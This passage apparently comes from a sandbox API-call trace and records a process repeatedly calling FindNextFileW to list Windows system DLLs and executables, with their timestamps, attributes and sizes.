cAlternateFileName="")) returned 1 [0154.217] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a7e9870, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x6a7e9870, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.217] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a7c3710, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x6a7c3710, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x5760, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.217] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a7c3710, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x6a7c3710, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.217] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a79d5b0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x6a79d5b0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x10360, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.217] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a80f9d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x6a80f9d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.217] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a80f9d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x6a80f9d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.217] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a80f9d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x6a80f9d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.217] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a85bc90, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x6a85bc90, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.217] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a80f9d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x6a80f9d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.217] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a85bc90, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x6a85bc90, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.218] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a835b30, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x6a835b30, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-eventing-provider-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.218] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x5262ade0, ftCreationTime.dwHighDateTime=0x1d7a944, ftLastAccessTime.dwLowDateTime=0x5262ade0, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0xc67e0a90, ftLastWriteTime.dwHighDateTime=0x1d089fb, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-security-base-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.218] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f381b9f, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f381b9f, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f37fbd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-security-lsalookup-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.218] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f3a7cfe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f3a7cfe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f3a6cd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-security-sddl-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.218] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-service-core-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.218] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-service-management-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.218] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d09eb7b, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d09eb7b, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-service-management-l2-1-0.dll", cAlternateFileName="")) returned 1 [0154.218] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-service-winsvc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.218] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7821a163, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7821a163, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="apilogen.dll", cAlternateFileName="")) returned 1 [0154.218] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1f2f92c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc1f2f92c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="apircl.dll", cAlternateFileName="")) returned 1 [0154.218] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60538160, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x60538160, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0xa25d3ec0, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="apisetschema.dll", cAlternateFileName="")) returned 1 [0154.218] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92c3856c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92c3856c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c5e6cc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x48400, dwReserved0=0x0, dwReserved1=0x0, cFileName="apphelp.dll", cAlternateFileName="")) returned 1 [0154.218] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4c40da, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7a4c40da, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apphlpdm.dll", cAlternateFileName="")) returned 1 [0154.219] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5db1dc40, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x5db1dc40, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x341c5760, ftLastWriteTime.dwHighDateTime=0x1d03f5f, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="appidapi.dll", cAlternateFileName="")) returned 1 [0154.219] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29cc968, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd29cc968, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e6540f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppIdPolicyEngineApi.dll", cAlternateFileName="")) returned 1 [0154.219] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98006f9, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x98006f9, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e6c6ce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x0, dwReserved1=0x0, cFileName="appmgmts.dll", cAlternateFileName="")) returned 1 [0154.219] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c14fdd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c14fdd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c6129e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53000, dwReserved0=0x0, dwReserved1=0x0, cFileName="appmgr.dll", cAlternateFileName="")) returned 1 [0154.219] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f6f58ca, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f6f58ca, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f6f58ca, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="appwiz.cpl", cAlternateFileName="")) returned 1 [0154.219] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc81f8794, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc81f8794, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e6eb6d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x30e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="apss.dll", cAlternateFileName="")) returned 1 [0154.219] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3986c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x248a328, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x248a328, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0154.219] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bf02cff, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5bf02cff, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x656df510, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARP.EXE", cAlternateFileName="")) returned 1 [0154.219] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c9efbc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x31c9efbc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xf2a6d430, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="asferror.dll", cAlternateFileName="")) returned 1 [0154.219] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23456500, ftCreationTime.dwHighDateTime=0x1d4e503, ftLastAccessTime.dwLowDateTime=0xb88e4270, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0x23456500, ftLastWriteTime.dwHighDateTime=0x1d4e503, nFileSizeHigh=0x0, nFileSizeLow=0x7230, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_counters.dll", cAlternateFileName="ASPNET~1.DLL")) returned 1 [0154.219] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e661b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84e661b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84e661b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x0, dwReserved1=0x0, cFileName="asycfilt.dll", cAlternateFileName="")) returned 1 [0154.219] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9839a69, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe9839a69, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x658ceec0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="at.exe", cAlternateFileName="")) returned 1 [0154.219] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaedcb3c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xfaedcb3c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x658f38b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="AtBroker.exe", cAlternateFileName="")) returned 1 [0154.219] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2b74b, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x2d2b74b, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x805466c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x0, dwReserved1=0x0, cFileName="atl.dll", cAlternateFileName="")) returned 1 [0154.220] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaf2ee00, ftCreationTime.dwHighDateTime=0x1cc27d2, ftLastAccessTime.dwLowDateTime=0x65aee530, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0xbaf2ee00, ftLastWriteTime.dwHighDateTime=0x1cc27d2, nFileSizeHigh=0x0, nFileSizeLow=0x21b48, dwReserved0=0x0, dwReserved1=0x0, cFileName="atl100.dll", cAlternateFileName="")) returned 1 [0154.220] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99a07600, ftCreationTime.dwHighDateTime=0x1ce6542, ftLastAccessTime.dwLowDateTime=0x801929d0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x99a07600, ftLastWriteTime.dwHighDateTime=0x1ce6542, nFileSizeHigh=0x0, nFileSizeLow=0x28248, dwReserved0=0x0, dwReserved1=0x0, cFileName="atl110.dll", cAlternateFileName="")) returned 1 [0154.220] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9363019e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9363019e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936562fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="atmfd.dll", cAlternateFileName="")) returned 1 [0154.226] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9360a03e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9360a03e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9363019e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x0, dwReserved1=0x0, cFileName="atmlib.dll", cAlternateFileName="")) returned 1 [0154.226] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf3c4130, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xbf3c4130, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x658f38b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="attrib.exe", cAlternateFileName="")) returned 1 [0154.226] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4204ec3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4204ec3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4204ec3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3b800, dwReserved0=0x0, dwReserved1=0x0, cFileName="audiodev.dll", cAlternateFileName="")) returned 1 [0154.226] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e078dc0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x5e078dc0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x345568c0, ftLastWriteTime.dwHighDateTime=0x1d03f5f, nFileSizeHigh=0x0, nFileSizeLow=0x5b800, dwReserved0=0x0, dwReserved1=0x0, cFileName="AudioEng.dll", cAlternateFileName="")) returned 1 [0154.226] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c5b1640, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x5c5b1640, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x3e30c150, ftLastWriteTime.dwHighDateTime=0x1d03f5f, nFileSizeHigh=0x0, nFileSizeLow=0x6c200, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOKSE.dll", cAlternateFileName="")) returned 1 [0154.226] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c21f540, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x5c21f540, 